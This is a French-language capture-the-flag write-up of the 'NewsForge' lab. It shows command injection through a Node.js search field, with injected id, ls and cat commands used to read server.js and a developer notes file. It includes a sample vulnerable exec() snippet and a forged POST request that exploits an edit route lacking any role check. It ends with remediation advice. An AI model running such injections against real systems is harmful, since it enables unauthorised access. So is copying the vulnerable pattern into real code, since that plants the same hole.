Lab NewsForge : OS Command Injection dans la Recherche et Bypass d'Autorisation
Pentest d'une plateforme d'actualités communautaire : découverte d'une injection de commande OS dans le champ de recherche, exploration du système de fichiers via le shell obtenu, lecture du code source server.js, et exploitation d'un endpoint d'édition d'articles dépourvu de contrôle d'autorisation pour récupérer le flag.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | Webverse |
| Lien | Accéder au Lab |
| Cible | newsforge.local |
| OS | Linux (nginx, backend Node.js) |
| Vuln. clés | OS Command Injection, Broken Access Control |
| Difficulté | Medium |
Scénario : NewsForge a démarré comme un projet personnel d'un développeur local souhaitant partager des nouvelles de conférences tech et des étapes de projets open source. La plateforme a grandi de façon organique : inscription, navigation d'articles, recherche. Lors d'un audit de sécurité récent, un collègue a remarqué un comportement étrange dans les résultats de recherche, qui semble retourner plus que du simple contenu d'article. L'objectif est de comprendre ce que fait réellement la recherche et de prouver l'accès à des informations sensibles.
Kill chain :
Feroxbuster → page search détectée, accessible après authentification
│
▼
Création de compte → exploration du formulaire de recherche
│
▼
Recherche multi-mots → erreur shell inattendue dans les résultats
│
▼
Confirmation OS Command Injection via id
│
▼
Exploration filesystem → notes.txt + server.js lus via le champ
│
▼
Code source : endpoint d'édition d'articles sans vérification admin
│
▼
Requête forgée vers l'endpoint vulnérable → flag
1. Reconnaissance
rustscan -b 500 -a newsforge.local -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: NewsForge - Breaking News & Top Stories
Un seul port ouvert : 80/tcp, nginx. TTL de 63, machine Linux. Toute la surface d'attaque est concentrée sur l'application web.

Une plateforme d'actualités communautaire avec inscription, articles et recherche.
2. Énumération Web
VHOST Fuzzing
ffuf -u "http://newsforge.local" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.newsforge.local" \
-fs 138
Aucun résultat. Pas de sous-domaine caché. L'application tient entièrement sur newsforge.local.
Content Discovery
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-u "http://newsforge.local"
Output (résultats pertinents, doublons de casse filtrés) :
200 GET http://newsforge.local/
200 GET http://newsforge.local/login
200 GET http://newsforge.local/register
302 GET http://newsforge.local/logout => http://newsforge.local/
302 GET http://newsforge.local/search => http://newsforge.local/login
200 GET http://newsforge.local/article/article1
200 GET http://newsforge.local/article/article2
200 GET http://newsforge.local/article/article3
200 GET http://newsforge.local/style.css
Analyse :
| Endpoint | Comportement | Signification |
|---|---|---|
/login, /register | 200 | Système d'authentification standard |
/search | 302 vers /login | Fonctionnalité protégée, accessible uniquement après connexion |
/article/articleN | 200 | Articles publics, lisibles sans compte |
Le /search redirige systématiquement vers /login tant qu'on n'est pas authentifié. C'est cohérent avec le briefing qui pointe vers le comportement de la recherche. On crée un compte pour y accéder.

Un formulaire de recherche simple, sans fioriture.
3. Exploration du Formulaire de Recherche
On commence par un terme de recherche ordinaire pour observer le comportement normal de l'application.

La réponse contient une ligne inattendue :
/bin/sh: city: not found
Ce message est un message d'erreur de shell Unix. C'est exactement ce que retourne /bin/sh quand on lui demande d'exécuter une commande qui n'existe pas. Ce n'est pas une erreur applicative classique de type "no results found", c'est une erreur système.
Cela signifie une chose : le champ de recherche n'est pas traité comme une simple chaîne de filtrage. Une partie de notre saisie a été transmise à un interpréteur shell qui a tenté de l'exécuter comme une commande.
Confirmation avec des Commandes Explicites
On teste directement avec des commandes système connues, à la place d'un terme de recherche classique.
id

Le résultat retourne la sortie de ces commandes directement dans la zone de résultats de recherche. Hypothèse confirmée.
4. Comprendre l'OS Command Injection
Cette classe de vulnérabilité est référencée CWE-78 (OS Command Injection).
Référence: CWE-78: OS Command Injection
Le mécanisme typique côté backend Node.js :
Pour implémenter une recherche performante, certains développeurs s'appuient sur des utilitaires système comme grep plutôt que d'interroger une base de données, en passant par une fonction comme child_process.exec() :
const { exec } = require("child_process");
app.post("/search", (req, res) => {
const query = req.body.query;
exec(`grep -i "${query}" articles.txt`, (err, stdout) => {
res.send(stdout);
});
});
Le problème : exec() lance la commande via /bin/sh -c. Le shell interprète les caractères spéciaux contenus dans la chaîne, comme ;, &&, | ou les backticks, avant même que grep ne soit appelé. Si la valeur de query n'est ni échappée ni validée, un attaquant contrôle totalement ce qui est exécuté par le shell, pas uniquement les arguments de grep.
[!WARNING] La différence avec une injection SQL est importante. Une SQLi compromet une base de données. Une command injection compromet directement le système d'exploitation sous-jacent. C'est généralement plus critique, car cela donne un accès quasi équivalent à un reverse shell, sans même avoir besoin d'en établir un.
5. Accès Initial et Exploration du Système de Fichiers
Le champ de recherche se comporte comme un point d'exécution de commandes. Deux options s'offrent à ce stade : établir un reverse shell pour un accès stable, ou continuer directement via le champ.
[!NOTE] Dans ce lab, l'exploration s'est poursuivie directement via le champ de recherche, sans reverse shell, en raison d'un souci ponctuel de configuration des listeners. Chaque commande système a donc été soumise individuellement via le formulaire, et la sortie lue dans la zone de résultats.
Listing
On commence par lister le contenu du répertoire de travail de l'application (confirmé au préalable via un pwd, non détaillé ici par souci de concision) :
ls -la

total 88
drwxr-xr-x 1 newsforge newsforge 4096 May 14 08:28 .
drwxr-xr-x 1 root root 4096 Jun 18 10:20 ..
-rw-r--r-- 1 newsforge newsforge 570 May 14 08:28 Dockerfile
-rw-r--r-- 1 newsforge newsforge 513 May 14 08:28 README.md
drwxr-xr-x 1 newsforge newsforge 4096 Jun 18 10:20 db
drwxr-xr-x 1 newsforge newsforge 4096 May 04 20:45 node_modules
-rw-r--r-- 1 newsforge newsforge 452 May 14 08:28 notes.txt
-rw-r--r-- 1 newsforge newsforge 34472 May 14 08:28 package-lock.json
-rw-r--r-- 1 newsforge newsforge 296 May 14 08:28 package.json
drwxr-xr-x 1 newsforge newsforge 4096 May 14 08:28 public
-rw-r--r-- 1 newsforge newsforge 4948 May 14 08:28 server.js
drwxr-xr-x 1 newsforge newsforge 4096 May 14 08:28 views
C'est une application Express.js (Node.js), présence de package.json et server.js. Deux fichiers retiennent l'attention : notes.txt et server.js.
Lecture de notes.txt
cat notes.txt

NewsForge - Developer Notes
===========================
Last updated: 2025-03-12 - Kevin
TODO before next release:
--------------------------
[ ] Article editing: add a role check to /9ead47a82a0d25985f22f10651d1f93b3abba317 routes currently any Logged - in
user can edit articles.
Is it a security flaw that anyone can visit /9ead47a82a0d25985f22f10651d1f93b3abba317
and edit articles? Need to restrict to admin role only before going live.
Deux informations critiques dans ce fichier. Un endpoint à l'URL, /9ead47a82a0d25985f22f10651d1f93b3abba317, permet à n'importe quel utilisateur connecté de modifier des articles, sans aucune vérification de rôle. Cette faille était déjà identifiée par le développeur lui-même dans une note TODO jamais traitée avant la mise en production.
Lecture de server.js
cat server.js

Ce fichier contient le code source de l'application, et il nous suffit de scroller à travers le code pour voir ceci :

app.get(
"/article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317",
requireLogin,
async (req, res) => {
const db = await getDb();
const article = queryOne(db, "SELECT * FROM articles WHERE slug = ?", [
req.params.slug,
]);
if (!article)
return res.status(404).render("404", { user: req.session.user || null });
res.render("edit", {
user: req.session.user,
article,
success: false,
flag: null,
});
},
);
app.post(
"/article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317",
requireLogin,
async (req, res) => {
const { title, content } = req.body;
const db = await getDb();
const article = queryOne(db, "SELECT * FROM articles WHERE slug = ?", [
req.params.slug,
]);
if (!article)
return res.status(404).render("404", { user: req.session.user || null });
run(db, "UPDATE articles SET title = ?, content = ? WHERE slug = ?", [
title,
content,
req.params.slug,
]);
let FLAG;
try {
FLAG = fs.readFileSync("/root/flag.txt", "utf8").trim();
} catch (e) {
FLAG = "WEBVERSE{flag_edit_without_authorization}";
}
res.render("edit", {
user: req.session.user,
article: { ...article, title, content },
success: true,
flag: FLAG,
});
},
);
Ce code vient confirmer les notes du développeur. L'unique middleware appliqué sur les deux routes est requireLogin, qui vérifie uniquement qu'un utilisateur est connecté. Aucune vérification de rôle, aucun contrôle que l'utilisateur est bien l'auteur de l'article ou un administrateur. N'importe quel compte enregistré peut éditer n'importe quel article identifié par son slug.
La seule protection en place est l'URL elle-même : un hash de 40 caractères ajouté après le slug, /9ead47a82a0d25985f22f10651d1f93b3abba317, qui tente de masquer l'existence de cette route plutôt que de la sécuriser réellement. C'est de la sécurité par l'obscurité, et elle échoue dès que l'URL est documentée quelque part d'accessible, ici dans notes.txt.
On remarque aussi que le flag est lu depuis /root/flag.txt côté serveur et injecté directement dans la page rendue dès qu'une modification réussit, peu importe qui l'a déclenchée.
6. Exploitation : Bypass d'Autorisation
L'endpoint n'est pas une API JSON, c'est une route qui rend une page HTML via res.render(). Nous pouvons nous y rendre et modifier le contenu mais j'ai voulu passer par BurpSuite pour l'exercice en vue de construire et envoyer la requête vers l'endpoint vulnérable.
Préparation de la Requête
On intercepte une requête authentifiée existante, par exemple le chargement d'un article, pour récupérer notre cookie de session, puis on la modifie dans le Repeater pour cibler l'endpoint vulnérable :
POST /article/article1/9ead47a82a0d25985f22f10651d1f93b3abba317 HTTP/1.1
Host: newsforge.local
Cookie: session=<notre_session_utilisateur_standard>
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
title=NouveauTitre&content=NouveauContenu

On envoie la requête. Bien qu'authentifié uniquement en tant qu'utilisateur standard, sans aucun rôle administrateur, la requête est acceptée car l'endpoint ne vérifie aucune autorisation.
Récupération du Flag
La réponse est la page edit re-rendue par le serveur, cette fois avec success: true et le flag injecté dans le HTML :
<div class="success-banner">Article updated successfully.</div>
<div class="flag-display"><flag récupéré, voir capture></div>

La modification de l'article a réussi sans aucun privilège administrateur. Le serveur a confirmé l'écriture en base et affiché le flag directement dans la page, preuve tangible que le contrôle d'accès est cassé.
7. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → Port 80 uniquement, nginx, backend Node.js
2. Feroxbuster → /search protégé, redirige vers /login
3. Inscription → Accès au formulaire de recherche
4. Test recherche → Erreur /bin/sh: city: not found
5. id → OS Command Injection confirmée
6. ls / cat notes.txt → Endpoint vulnérable identifié par le dev lui-même
7. cat server.js → Confirmation : update sans middleware requireAdmin
8. Requête forgée → POST /article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317 sans droits admin
9. Flag → Retourné dans la page HTML
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| OS Command Injection dans /search | L'input utilisateur est passé directement à un shell via exec() | Ne jamais construire de commandes shell à partir d'entrées utilisateur. Utiliser une recherche en base de données ou, si un outil système est requis, execFile() avec des arguments passés en tableau, jamais en chaîne concaténée |
| Endpoint update sans authorization | /article/:slug/9ead47a82a0d25985f22f10651d1f93b3abba317 applique uniquement requireLogin, aucune vérification de rôle | Ajouter un middleware requireAdmin dédié sur toutes les routes de modification, et ne jamais compter sur l'authentification seule comme preuve d'autorisation |
| TODO de sécurité non traité | La faille était documentée dans notes.txt mais jamais corrigée avant déploiement | Intégrer les TODO de sécurité dans le backlog de l'équipe avec une priorité bloquante avant mise en production. Ne jamais déployer avec des findings de sécurité connus et non résolus |
| Fichiers de notes en clair sur le serveur | notes.txt accessible depuis le système de fichiers de l'application | Ne jamais conserver de notes de développement, TODOs ou commentaires sensibles dans le répertoire de déploiement de l'application |
| Processus Node.js avec accès large au filesystem | Le command injection a permis de lire librement server.js et notes.txt | Faire tourner l'application avec un utilisateur dédié à privilèges minimaux, dans un environnement conteneurisé isolé |
[!NOTE] Ce lab illustre un cas où le développeur avait conscience du problème avant la mise en production, en témoigne notes.txt, mais où la faille a tout de même atteint l'environnement de production. Documenter une vulnérabilité connue ne suffit pas, elle doit être corrigée et vérifiée avant tout déploiement. Un TODO oublié dans un coin de code est aussi dangereux qu'une faille jamais découverte.
Writeup rédigé par Zcook
